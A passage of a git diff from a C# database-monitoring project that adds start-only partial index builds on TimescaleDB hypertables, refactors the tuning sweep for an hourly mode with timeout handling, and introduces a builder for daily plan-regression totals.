+           THE BUILD'S COST: one read of every uncompressed chunk's heap, under SetupTimeoutSeconds. On that
+           rig, 4.0 GB of uncompressed heap built in 0.59-0.66 s warm with the default 2 parallel maintenance
+           workers and 1.33 s with none; a serial scan of the same heaps takes 1.21-1.33 s, so the build costs
+           about half a serial scan of the uncompressed heaps. Compressed and empty chunks get an 8 KB index,
+           and NULL-start rows cost about 35 B each. On the largest production store measured, the build's read set (12
+           compressed chunks with empty heaps, 5 uncompressed holding 11.2 GB of heap and 19.7 M rows, none with a NULL
+           start) took 56.1 s as one serial scan, 48.3 s of it reading 1.37 M blocks from disk; at the rig's ratio that
+           is a first-start build of roughly 30-70 s, inside SetupTimeoutSeconds with over 4x headroom. A build that runs
+           out the clock is abandoned and retried at the next start; the hourly pass never builds it. */
+        "CREATE INDEX IF NOT EXISTS " + LegacyRowIndexName + " ON collect.query_store_stats (server_id, collection_time) WHERE interval_start_time_utc IS NULL",
+        /* The restart rows of query_stats and procedure_stats (#4605). A restart row is a row in which no counter was
+           knowable (sample_interval_seconds = 0): a first sighting, an uncredited counter reset (a restart, a
+           plan-cache eviction) or a gap past the policy (CollectorDeltaCalculator). The hourly interval
+           rollups exclude them, so a read of a long window from the rollups adds the raw restart rows back
+           (IntervalRollupRestartRows). With only the (server_id, collection_time) index that arm walks every raw
+           row in the window to find a few: 109 s and 12 s on the largest production store measured.
+
+           WHAT IT HOLDS: only rows WHERE sample_interval_seconds = 0. On the largest production store measured,
+           a 23-hour window of query_stats held 34,254 of them, a small fraction of its rows, so the index costs few
+           writes and little WAL and its tree stays small.
+
+           WHY THE START PATH: the plain CREATE INDEX takes a ShareLock on the hypertable root, which is safe
+           before collectors start and not while they write. CONCURRENTLY is refused on hypertables, so the build
+           runs only here, under SetupTimeoutSeconds, and the hourly pass never builds it (as for LegacyRowIndexName).
+
+           COMPRESSED CHUNKS: CREATE INDEX on the hypertable builds one index per chunk from that chunk's own
+           heap, so each compressed chunk gets an empty 8 KB index and the compressed relations get none. Those
+           chunks are still read by the columnar scan; the index serves the uncompressed chunks.
+
+           THE BUILD'S COST: one read of every uncompressed chunk's heap. Measured on a local TimescaleDB 2.30.1 rig
+           with the real schema (4 chunks of 12 hours, warm, 2 parallel maintenance workers, median of 3):
+             query_stats:     1.5 M rows, 1,065 MB of heap (740 B per row):  CREATE INDEX 242 ms (213-322 ms);
+                              a serial count(*) of the same heap, 275 ms; with no parallel workers the build took 465 ms.
+             procedure_stats: 3.5 M rows, 1,288 MB of heap (386 B per row):  CREATE INDEX 297 ms (293-321 ms);
+                              a serial count(*) of the same heap, 355 ms; with no parallel workers the build took 630 ms.
+           So the build costs about one serial scan of the heap, and about 1.7 serial scans if the server has no
+           parallel workers free. On the largest production store measured, the read set is 12 GB of uncompressed
+           query_stats heap and 6.5 GB of procedure_stats in three chunks each, and 11.2 GB of heap was read in 56.1 s
+           serially, cold (#5021). At that rate the serial scans take about 60 s and 33 s, so the first-start builds
+           are roughly 60-100 s and 33-56 s, one statement each: at least 3x headroom inside the 300 s
+           SetupTimeoutSeconds per statement. A build that runs out of time is abandoned and retried at the next
+           start; the hourly pass never builds it. RestartRowIndexLiveTests holds the plan and the definitions. */
+        "CREATE INDEX IF NOT EXISTS " + QueryStatsRestartRowIndexName + " ON collect.query_stats (collection_time) WHERE sample_interval_seconds = 0",
+        "CREATE INDEX IF NOT EXISTS " + ProcedureStatsRestartRowIndexName + " ON collect.procedure_stats (collection_time) WHERE sample_interval_seconds = 0",
         "ALTER TABLE collect.procedure_stats SET (" + InsertTuningOptions + ")",
         "ALTER TABLE collect.query_stats SET (" + InsertTuningOptions + ")",
         "ALTER TABLE collect.query_store_stats SET (" + InsertTuningOptions + ")",
@@ -287,7 +451,7 @@ leaves behind are precisely the idx_query_plan_dim_last_seen entries the NEXT pu
            rows), 225 ms on DARLING01 today (83,355 rows). A RESULTS-INVARIANT covering-shape index, same
            reasoning as every other statement in this list — Erik's ruling on the issue was that this needed
            no migration rung, since the composer's Tuning stage already creates exactly this kind of index
-           idempotently at every start and hourly (#3817, #3913). Paired with the skip-scan rewrite of
+           idempotently at every start and, for the ALTER TABLE settings, hourly (#3817, #3913). Paired with the skip-scan rewrite of
            StoreMetricsLatestSql below, the latest read went from 7,772 ms to 15 ms on the same seed with
            identical rows (251). */
         "CREATE INDEX IF NOT EXISTS idx_store_metrics_kind_name_time ON collect.store_metrics (object_kind, object_name, metric_time DESC)",
@@ -297,9 +461,27 @@ identical rows (251). */
     /// Applies every <see cref="Statements"/> statement, each on its own command and FAILURE-ISOLATED: a single
     /// failure (e.g. a column absent on an odd store) warns and the sweep continues — the store keeps working,
     /// just without that one index. Returns the count that applied (or no-op'd) cleanly. Idempotent, so a re-run
-    /// on an already-tuned store no-ops.
+    /// on an already-tuned store no-ops. The start path builds a missing index under a bounded lock_timeout.
+    /// </summary>
+    public static Task<int> ApplyAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken cancellationToken = default) =>
+        ApplyAsync(connection, logger, hourly: false, cancellationToken);
+
+    /// <summary>
+    /// Indexes the hourly pass found absent and has already warned about, so the warning is logged once per
+    /// process rather than every hour.
     /// </summary>
-    public static async Task<int> ApplyAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken cancellationToken = default)
+    private static readonly ConcurrentDictionary<string, byte> s_hourlyMissingWarned = new(StringComparer.Ordinal);
+
+    /// <summary>Clears the once-per-process warned set so a test can observe the first warning again.</summary>
+    internal static void ResetHourlyMissingWarnings() => s_hourlyMissingWarned.Clear();
+
+    /// <summary>
+    /// <see cref="ApplyAsync(NpgsqlConnection, ILogger?, CancellationToken)"/> with a choice of pass. With
+    /// <paramref name="hourly"/> set (the convergence tick, beside live collection) a missing index is NOT
+    /// built: one Warning per index per process says the next service start builds it, and it is not counted
+    /// as applied. Every other statement runs as on the start path.
+    /// </summary>
+    public static async Task<int> ApplyAsync(NpgsqlConnection connection, ILogger? logger, bool hourly, CancellationToken cancellationToken = default)
     {
         if (connection is null)
         {
@@ -307,19 +489,86 @@ public static async Task<int> ApplyAsync(NpgsqlConnection connection, ILogger? l
         }
 
         var applied = 0;
+        var buildIssued = false;
+        var buildStartedAt = 0L;
         foreach (var statement in Statements)
         {
+            var sql = statement;
             try
             {
-                using var command = new NpgsqlCommand(statement, connection) { CommandTimeout = SetupTimeoutSeconds };
+                if (statement.StartsWith(CreateIndexPrefix, StringComparison.Ordinal))
+                {
+                    var indexName = CreatedIndexName(statement);
+                    using var probe = new NpgsqlCommand(IndexValidSql, connection) { CommandTimeout = SetupTimeoutSeconds };
+                    probe.Parameters.AddWithValue(indexName);
+                    var valid = await probe.ExecuteScalarAsync(cancellationToken);
+                    if (valid is not null and not DBNull)
+                    {
+                        if (valid is false)
+                        {
+                            logger?.LogWarning(
+                                "Index collect.{Index} exists but is not valid; it is left as it is and is not rebuilt",
+                                indexName);
+                        }
+
+                        applied++;
+                        continue;
+                    }
+
+                    if (hourly)
+                    {
+                        if (s_hourlyMissingWarned.TryAdd(indexName, 0))
+                        {
+                            logger?.LogWarning(
+                                "Index collect.{Index} on {Table} is missing; the hourly pass does not build indexes beside live collection, so the next service start builds it",
+                                indexName, CreatedIndexTable(statement));
+                        }
+
+                        continue;
+                    }
+
+                    var oneBuildPerStart = IsOneBuildPerStart(indexName);
+                    if (oneBuildPerStart && buildIssued)
+                    {
+                        logger?.LogInformation(
+                            "Index collect.{Index} on {Table} is missing and is built at the next start: this start already issued one index build, and a start builds at most one",
+                            indexName, CreatedIndexTable(statement));
+                        continue;
+                    }
+
+                    buildIssued |= oneBuildPerStart;
+                    buildStartedAt = Stopwatch.GetTimestamp();
+                    sql = GuardedCreate(statement);
+                }
+
+                using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = SetupTimeoutSeconds };
                 await command.ExecuteNonQueryAsync(cancellationToken);
                 applied++;
             }
+            catch (PostgresException lockBusy) when (lockBusy.SqlState == PostgresErrorCodes.LockNotAvailable
+                && statement.StartsWith(CreateIndexPrefix, StringComparison.Ordinal))
+            {
+                logger?.LogInformation(
+                    "Index {Index} not built this pass: the table was busy; the next pass tries again",
+                    CreatedIndexName(statement));
+                await RollbackBestEffortAsync(connection, logger, cancellationToken);
+            }
             catch (Exception ex) when (ex is not OperationCanceledException)
             {
-                logger?.LogWarning(
-                    "Composer performance-tuning statement failed — the store keeps working without it ({Statement}): {Message}",
-                    statement, ex.Message);
+                if (statement.StartsWith(CreateIndexPrefix, StringComparison.Ordinal) && IsBuildTimeout(ex))
+                {
+                    logger?.LogWarning(
+                        "{Message}",
+                        BuildTimeoutMessage(
+                            CreatedIndexName(statement), CreatedIndexTable(statement),
+                            Stopwatch.GetElapsedTime(buildStartedAt).TotalSeconds));
+                }
+                else
+                {
+                    logger?.LogWarning(
+                        "Composer performance-tuning statement failed — the store keeps working without it ({Statement}): {Message}",
+                        statement, ex.Message);
+                }
 
                 /* #4247: a guarded DROP that hits its lock_timeout fails INSIDE its own explicit BEGIN, and
                    Npgsql's simple-query protocol stops at that first error — the trailing COMMIT text in the
@@ -330,17 +579,7 @@ loop sends next. A plain autocommit statement never does this (no explicit BEGIN
                    way. ROLLBACK outside a transaction is a harmless no-op (a WARNING, not an error), so this is
                    always safe; if it too fails the connection is unusable and every later statement's own
                    failure will say so. */
-                try
-                {
-                    using var rollback = new NpgsqlCommand("ROLLBACK", connection) { CommandTimeout = DropLockTimeoutRollbackSeconds };
-                    await rollback.ExecuteNonQueryAsync(cancellationToken);
-                }
-                catch (Exception rollbackEx) when (rollbackEx is not OperationCanceledException)
-                {
-                    logger?.LogWarning(
-                        "Post-failure ROLLBACK also failed — the connection may be unusable for the rest of this sweep: {Message}",
-                        rollbackEx.Message);
-                }
+                await RollbackBestEffortAsync(connection, logger, cancellationToken);
             }
         }
 
@@ -352,6 +591,50 @@ failure will say so. */
         return applied;
     }
 
+    /// <summary>
+    /// True when a start-path <c>CREATE INDEX</c> failed because it ran out of its <c>CommandTimeout</c>: an
+    /// Npgsql exception with an inner <see cref="TimeoutException"/>, or a server <c>57014</c> (query_canceled).
+    /// Anything else is an ordinary statement failure.
+    /// </summary>
+    internal static bool IsBuildTimeout(Exception ex)
+    {
+        for (var e = ex; e is not null; e = e.InnerException!)
+        {
+            if (e is TimeoutException || (e is PostgresException pg && pg.SqlState == PostgresErrorCodes.QueryCanceled))
+            {
+                return true;
+            }
+
+            if (e.InnerException is null)
+            {
+                break;
+            }
+        }
+
+        return false;
+    }
+
+    /// <summary>The warning for a start-path index build that timed out.</summary>
+    internal static string BuildTimeoutMessage(string indexName, string table, double elapsedSeconds) =>
+        string.Create(CultureInfo.InvariantCulture,
+            $"Index collect.{indexName} on {table} was not built: the build ran out of time after {elapsedSeconds:F0} s (limit {SetupTimeoutSeconds} s) and was rolled back; it is retried at the next start, and each try pauses collection at start for up to {SetupTimeoutSeconds} s");
+
+    /// <summary>Best-effort <c>ROLLBACK</c> that leaves the connection usable after a failed statement.</summary>
+    private static async Task RollbackBestEffortAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken cancellationToken)
+    {
+        try
+        {
+            using var rollback = new NpgsqlCommand("ROLLBACK", connection) { CommandTimeout = DropLockTimeoutRollbackSeconds };
+            await rollback.ExecuteNonQueryAsync(cancellationToken);
+        }
+        catch (Exception rollbackEx) when (rollbackEx is not OperationCanceledException)
+        {
+            logger?.LogWarning(
+                "Post-failure ROLLBACK also failed — the connection may be unusable for the rest of this sweep: {Message}",
+                rollbackEx.Message);
+        }
+    }
+
     /// <summary>The reloptions every pure-insert hypertable gets. Shared with the literal statements above so
     /// the two spellings cannot drift apart.</summary>
     public const string InsertTuningOptions =
diff --git a/Darling/PerformanceMonitor.Darling.Storage/PlanRegressionDaily.cs b/Darling/PerformanceMonitor.Darling.Storage/PlanRegressionDaily.cs
new file mode 100644
index 0000000000..bb92e6e90d
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/PlanRegressionDaily.cs
@@ -0,0 +1,453 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using NpgsqlTypes;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The SQL and day arithmetic for the per-day per-plan totals of <c>collect.query_store_interval_latest</c>
+/// (<c>collect.plan_regression_daily</c>, #5448), which PLAN_REGRESSION reads for CLOSED days so a run no longer
+/// re-aggregates 14 days of the interval table. This file is the storage half: the rung that creates the tables and the
+/// trigger is V168 (<see cref="PgMigrations"/>), the builder is the hourly-tick tenant at the bottom of this file
+/// (<see cref="RunTickAsync(NpgsqlDataSource, DateTime, ILogger, CancellationToken)"/>), and the read is <c>PgFactCollector.PlanRegressionDailySql</c> in the Analysis project.
+///
+/// <para><b>Row day is the day of <c>last_execution_time</c></b> (naive UTC), the column PLAN_REGRESSION's window filters
+/// on. A day's row is the plan's totals over the interval rows whose <c>last_execution_time</c> falls in that day, so
+/// summing the closed days and the live days reproduces the 14-day aggregate. The measured gain is about 3x fewer blocks
+/// read (986K to 338K) and about 6x less time, not 14x: the last three days stay live (see
+/// <see cref="ClosedDayLagDays"/>), and they hold about a fifth of the rows.</para>
+///
+/// <para><b>Closing a day.</b> A day D is closed, and so built and read from the table, once <c>D &lt;= T - 3</c> for
+/// today T: one day for D to have passed, <see cref="PlanRegressionSkewMarginDays"/> for a monitored server whose clock
+/// runs ahead of the collector's, and one for the longest span of a Query Store interval, which is what lets a row's
+/// <c>first_execution_time</c> sit a day before its <c>last_execution_time</c>.</para>
+/// </summary>
+public static class PlanRegressionDaily
+{
+    /// <summary>The window PLAN_REGRESSION describes, in days; also how far back the builder fills closed days.</summary>
+    public const int WindowDays = 14;
+
+    /// <summary>Days of clock skew between a monitored server and the collector that the closing of a day tolerates.</summary>
+    public const int PlanRegressionSkewMarginDays = 1;
+
+    /// <summary>
+    /// A day D is closed when <c>D &lt;= T - ClosedDayLagDays</c>: one day past, <see cref="PlanRegressionSkewMarginDays"/>
+    /// of skew, and one day for an interval's span. The three newest days always come from the live table.
+    /// </summary>
+    public const int ClosedDayLagDays = 1 + PlanRegressionSkewMarginDays + 1;
+
+    /// <summary>How many days back the hourly cleanup keeps built days: a day older than this can never be read, because
+    /// the read's window is <see cref="WindowDays"/> and a row's day can be a day after the day of its first execution.
+    /// V168's trigger clamps on the whole day 17 days back, one day wider, so it can mark every day this keeps (a late row
+    /// for T-16 has its first execution on T-17).</summary>
+    public const int MarkLateWindowDays = WindowDays + 2;
+
+    /// <summary>
+    /// Builds one closed day of one server's totals: the plan-level aggregate PLAN_REGRESSION's
+    /// <c>plan_agg</c> step computes, summed rather than divided so days recombine exactly. $1 server_id (integer),
+    /// $2 the day D (date), $3 D + 1 day (timestamp), $4 D - 1 day (timestamp). Returns the number of rows inserted,
+    /// which the builder records as <c>source_rows</c>. The caller deletes the day's rows first, in the same
+    /// transaction (the unique index would refuse a second build of a day).
+    ///
+    /// <para><b>The bounds are the day's own, and the parity argument is in two parts.</b> A row belongs to D when its
+    /// <c>last_execution_time</c> is in <c>[D, D + 1 day)</c>, which is the filter the read applies to a window whose edge
+    /// is day-aligned. Its <c>first_execution_time</c> is then in <c>[D - 1 day, D + 1 day)</c>, because one Query Store
+    /// interval spans at most a day (the read's <c>first_execution_time &gt;= $4</c> is implied by its
+    /// <c>last_execution_time</c> filter for the same reason, and is kept to bound the table's partitioning column for chunk
+    /// exclusion). <c>collection_time &gt;= $4</c> mirrors the read's own collection bound, so the build and the live read
+    /// keep the same snapshots. The two routes can differ only for a row whose <c>collection_time</c> is more than a day
+    /// before its <c>last_execution_time</c>.</para>
+    ///
+    /// <para>Every parameter is cast where it is used, so each has one type however many times it appears. The sums are
+    /// <c>numeric</c>, so the product of an average and an execution count cannot overflow <c>bigint</c>.</para>
+    /// </summary>
+    public const string BuildDaySql = @"
+WITH built AS
+(
+    INSERT INTO collect.plan_regression_daily
+    (
+        server_id, day, database_name, query_id, plan_id, replica_role, query_plan_hash,
+        execs, cpu_us_sum, dur_us_sum, last_exec, is_forced_plan, force_failure_count
+    )
+    SELECT
+        $1::integer, $2::date, l.database_name, l.query_id, l.plan_id, l.replica_role, l.query_plan_hash,
+        SUM(l.execution_count),
+        SUM(l.avg_cpu_time_us::numeric * l.execution_count),
+        SUM(l.avg_duration_us::numeric * l.execution_count),
+        MAX(l.last_execution_time),
+        bool_or(l.is_forced_plan),
+        MAX(l.force_failure_count)
+    FROM collect.query_store_interval_latest AS l
+    WHERE l.server_id = $1::integer
+    AND   l.first_execution_time >= $4::timestamp
+    AND   l.first_execution_time < $3::timestamp
+    AND   l.last_execution_time >= $2::date
+    AND   l.last_execution_time < $3::timestamp
+    AND   l.collection_time >= $4::timestamp
+    GROUP BY l.database_name, l.query_id, l.plan_id, l.replica_role, l.query_plan_hash
+    RETURNING 1
+)
+SELECT count(*)::bigint FROM built;";
+
+    /// <summary>The most (server, day) builds one tick runs. The first fill of a store is 12 builds per server (T-14 through T-3), so a
+    /// store with many servers takes several ticks; until it is done a read pays today's cost for the days not yet built.</summary>
+    public const int MaxBuildsPerTick = 120;
+
+    /// <summary>The wall-clock budget of one tick: no new build starts once this much time has passed since the tick
+    /// began. A build already running finishes (or hits its own timeout), so a tick can overrun by one build.</summary>
+    public static readonly TimeSpan MaxTickDuration = TimeSpan.FromMinutes(10);
+
+    /// <summary>The server-side <c>statement_timeout</c> each build's transaction runs under.</summary>
+    public const int BuildStatementTimeoutSeconds = 60;
+
+    /// <summary>The client-side deadline for each command: just above the server-side one, so the store's own cancel is the
+    /// one that fires.</summary>
+    private const int CommandTimeoutSeconds = BuildStatementTimeoutSeconds + 30;
+
+    private static readonly string StatementTimeoutSql = $"SET LOCAL statement_timeout = '{BuildStatementTimeoutSeconds}s'";
+
+    /// <summary>Makes sure the day has a built row, so the tick's transaction has a row to read <c>late_seq</c> from and to
+    /// stamp. The trigger may have created it already (a late row marks its days), and then this does nothing. $1 server_id,
+    /// $2 day.</summary>
+    public const string EnsureBuiltSql = @"
+INSERT INTO collect.plan_regression_daily_built (server_id, day)
+VALUES ($1::integer, $2::date)
+ON CONFLICT (server_id, day) DO NOTHING;";
+
+    /// <summary>The day's <c>late_seq</c> as the builder sees it before it aggregates: the value the build is stamped with
+    /// (<c>built_seq</c>), so a late apply that lands during the build leaves the day invalid and it is rebuilt. $1 server_id,
+    /// $2 day.</summary>
+    public const string SeqSql = @"
+SELECT late_seq
+FROM collect.plan_regression_daily_built
+WHERE server_id = $1::integer
+AND   day = $2::date;";
+
+    /// <summary>Stamps a finished build. $1 server_id, $2 day, $3 the <c>late_seq</c> read before the build
+    /// (<c>built_seq</c>), $4 built_at, $5 the rows inserted (<c>source_rows</c>). The day is valid for a reader exactly while
+    /// <c>built_seq = late_seq</c>.</summary>
+    public const string MarkBuiltSql = @"
+UPDATE collect.plan_regression_daily_built
+SET built_seq = $3::bigint,
+    built_at = $4::timestamp,
+    source_rows = $5::bigint
+WHERE server_id = $1::integer
+AND   day = $2::date;";
+
+    /// <summary>Clears one (server, day) of totals before it is rebuilt: <see cref="BuildDaySql"/> inserts, and the unique
+    /// index would refuse a second build. $1 server_id, $2 day.</summary>
+    public const string DeleteDaySql = @"
+DELETE FROM collect.plan_regression_daily
+WHERE server_id = $1::integer
+AND   day = $2::date;";
+
+    /// <summary>One builder per server at a time: a transaction-scoped advisory lock keyed by the server. False means
+    /// another builder (a second service, or a tick that overran) holds it, and this one skips the item. $1 server_id.</summary>
+    public const string LockSql = @"
+SELECT pg_try_advisory_xact_lock(hashtextextended('plan_regression_daily:' || $1::integer::text, 0));";
+
+    /// <summary>
+    /// The built days of one server that the PLAN_REGRESSION read may take its totals from (#5448). $1 server_id, $2 M (the
+    /// window's day-aligned start). A day is valid when its build saw every late row (<c>built_seq = late_seq</c>) and the
+    /// interval table's coverage claim reaches the whole day, which is <c>day &gt;= filled_since::date + 1</c>: the first day
+    /// after the one <c>filled_since</c> falls in, because that day may be only partly covered. The fact runs this first, in
+    /// the same REPEATABLE READ transaction as the daily read, so both see one snapshot of the built days and of the totals;
+    /// an empty or failed answer sends the read to the exact-bound statement unchanged.
+    /// </summary>
+    public const string BuiltDaysSql = @"
+SELECT b.day
+FROM collect.plan_regression_daily_built AS b
+JOIN collect.query_store_interval_latest_coverage AS c
+  ON c.server_id = b.server_id
+WHERE b.server_id = $1::integer
+AND   b.day >= $2::date
+AND   b.built_seq = b.late_seq
+AND   b.day >= c.filled_since::date + 1
+ORDER BY b.day;";
+
+    /// <summary>
+    /// The builds due now, oldest day first. $1 now (timestamp), $2 the cap. Servers are the enabled ones with an interval
+    /// coverage claim and no pending batch: a pending batch means some raw rows are not yet applied, so the day's totals
+    /// could not be trusted. A server's days start the day after its <c>filled_since</c>, since the table cannot speak for
+    /// earlier days. Days run from <see cref="WindowDays"/> back through <see cref="ClosedDayLagDays"/> back (a day is
+    /// closed when <c>D &lt;= T - 3</c>). A day is due when it has no stamped build (<c>built_seq</c> NULL) or its
+    /// <c>late_seq</c> has moved since the stamp.
+    /// </summary>
+    public static readonly string PlanSql = $@"
+SELECT s.server_id, d.day
+FROM
+(
+    SELECT c.server_id, c.filled_since
+    FROM collect.query_store_interval_latest_coverage AS c
+    JOIN collect.servers AS sv ON sv.server_id = c.server_id
+    WHERE sv.is_enabled
+    AND   NOT EXISTS (SELECT 1 FROM collect.query_store_interval_latest_pending AS p WHERE p.server_id = c.server_id)
+) AS s
+CROSS JOIN LATERAL
+(
+    SELECT g::date AS day
+    FROM generate_series(($1::timestamp::date - {WindowDays})::timestamp, ($1::timestamp::date - {ClosedDayLagDays})::timestamp, interval '1 day') AS g
+) AS d
+LEFT JOIN collect.plan_regression_daily_built AS b
+  ON b.server_id = s.server_id AND b.day = d.day
+WHERE d.day >= s.filled_since::date + 1
+AND   (b.built_seq IS NULL OR b.built_seq <> b.late_seq)
+ORDER BY d.day, s.server_id
+LIMIT $2::integer;";
+
+    /// <summary>
+    /// Removes the expired built rows (days older than <see cref="MarkLateWindowDays"/>, and every row of a server that is not
+    /// enabled) and returns their keys. $1 now (timestamp). The first of the cleanup's two steps; see
+    /// <see cref="GcTotalsSql"/> for the second and for why the cleanup is driven from this small table.
+    /// </summary>
+    public static readonly string GcBuiltSql = $@"
+DELETE FROM collect.plan_regression_daily_built
+WHERE day < ($1::timestamp - interval '{MarkLateWindowDays} days')::date
+   OR server_id NOT IN (SELECT server_id FROM collect.servers WHERE is_enabled)
+RETURNING server_id, day;";
+
+    /// <summary>
+    /// Removes one expired (server, day) of totals: $1 server_id, $2 day. The predicate is the two leading columns of
+    /// <c>ux_plan_regression_daily</c> with constants, so each is an index probe and reads nothing but that day's rows.
+    ///
+    /// <para><b>Why two steps, driven from the built table.</b> The built table holds one row per server and day (a few
+    /// hundred), the totals table holds every plan of every day. A delete on the totals table with its own
+    /// <c>day &lt; X OR server_id NOT IN (...)</c> predicate cannot use the unique index and reads every totals row on every
+    /// hourly tick, even when nothing is due. Joining the totals delete to the expired built rows in ONE statement does not
+    /// fix that: the planner cannot know how few rows the first delete returns and picks a hash join with a sequential scan
+    /// of the totals. So the cleanup deletes the built rows first, then removes each returned key with this statement, in
+    /// one transaction. When nothing has expired no totals statement runs at all. This relies on every totals day having
+    /// a built row, which <see cref="BuildDayAsync"/> keeps true: the stamp that ends a build throws when the built row is
+    /// gone, and the build's transaction rolls its totals back with it.</para>
+    /// </summary>
+    public const string GcTotalsSql = @"
+DELETE FROM collect.plan_regression_daily
+WHERE server_id = $1::integer
+AND   day = $2::date;";
+
+    /// <summary>One planned build.</summary>
+    public readonly record struct Build(int ServerId, DateOnly Day);
+
+    /// <summary>What one tick did. <paramref name="Skipped"/> counts items another builder held the server's lock for.</summary>
+    public readonly record struct TickResult(int Built, int Failed, int Skipped, long DaysRemoved, int Deferred = 0);
+
+    private static DateTime Unspecified(DateTime value) => DateTime.SpecifyKind(value, DateTimeKind.Unspecified);
+
+    /// <summary>The builds due at <paramref name="nowUtc"/>, oldest day first, at most <see cref="MaxBuildsPerTick"/>.</summary>
+    public static async Task<IReadOnlyList<Build>> PlanBuildsAsync(
+        NpgsqlConnection connection, DateTime nowUtc, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+
+        var builds = new List<Build>();
+        await using var command = new NpgsqlCommand(PlanSql, connection) { CommandTimeout = CommandTimeoutSeconds };
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = Unspecified(nowUtc) });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = MaxBuildsPerTick });
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            builds.Add(new Build(reader.GetInt32(0), reader.GetFieldValue<DateOnly>(1)));
+        }
+
+        return builds;
+    }
+
+    /// <summary>Removes the expired days and the days of servers that are not enabled from both tables, in ONE transaction
+    /// (the totals and their built rows never disagree about which days exist); returns how many built (server, day) rows
+    /// went. The built rows go first and name the totals to remove (<see cref="GcTotalsSql"/>).</summary>
+    public static async Task<long> GcAsync(NpgsqlConnection connection, DateTime nowUtc, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+
+        await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+        var expired = new List<(int ServerId, DateOnly Day)>();
+        await using (var command = new NpgsqlCommand(GcBuiltSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = Unspecified(nowUtc) });
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                expired.Add((reader.GetInt32(0), reader.GetFieldValue<DateOnly>(1)));
+            }
+        }
+
+        foreach (var (serverId, day) in expired)
+        {
+            await using var totals = new NpgsqlCommand(GcTotalsSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds };
+            AddServerDay(totals, serverId, day);
+            await totals.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        await transaction.CommitAsync(cancellationToken);
+        return expired.Count;
+    }
+
+    /// <summary>
+    /// Builds one (server, day): makes sure the built row exists, then in ONE transaction takes the server's advisory lock
+    /// (false: another builder has it, nothing is written and the result is null), reads <c>late_seq</c> as s0, deletes the
+    /// day's totals, inserts them, and stamps <c>built_seq = s0</c>. A late apply that bumps <c>late_seq</c> after s0 was read
+    /// leaves the day invalid for a reader (<c>built_seq &lt;&gt; late_seq</c>) and due again, so a race costs one more build,
+    /// never a wrong total. Returns the rows inserted, or null when the lock was not free.
+    /// </summary>
+    /// <param name="afterSeqRead">A test seam, called between reading s0 and aggregating, so a pin can land a late apply at
+    /// the point the race matters. Null in the service.</param>
+    public static async Task<long?> BuildDayAsync(
+        NpgsqlConnection connection, int serverId, DateOnly day, DateTime nowUtc, CancellationToken cancellationToken,
+        Func<CancellationToken, Task>? afterSeqRead = null)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+
+        await using (var ensure = new NpgsqlCommand(EnsureBuiltSql, connection) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            AddServerDay(ensure, serverId, day);
+            await ensure.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+
+        await using (var timeout = new NpgsqlCommand(StatementTimeoutSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            await timeout.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        await using (var @lock = new NpgsqlCommand(LockSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            @lock.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+            if (!(bool)(await @lock.ExecuteScalarAsync(cancellationToken))!)
+            {
+                await transaction.RollbackAsync(cancellationToken);
+                return null;
+            }
+        }
+
+        long seq;
+        await using (var read = new NpgsqlCommand(SeqSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            AddServerDay(read, serverId, day);
+            seq = Convert.ToInt64(await read.ExecuteScalarAsync(cancellationToken));
+        }
+
+        if (afterSeqRead is not null)
+        {
+            await afterSeqRead(cancellationToken);
+        }
+
+        await using (var delete = new NpgsqlCommand(DeleteDaySql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            AddServerDay(delete, serverId, day);
+            await delete.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        long sourceRows;
+        var dayStart = day.ToDateTime(TimeOnly.MinValue);
+        await using (var insert = new NpgsqlCommand(BuildDaySql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
+            insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+            insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Date, Value = day });
+            insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = Unspecified(dayStart.AddDays(1)) });
+            insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = Unspecified(dayStart.AddDays(-1)) });
+            sourceRows = Convert.ToInt64(await insert.ExecuteScalarAsync(cancellationToken));
+        }
+
+        await using (var mark = new NpgsqlCommand(MarkBuiltSql, connection, transaction) { CommandTimeout = CommandTimeoutSeconds })
+        {
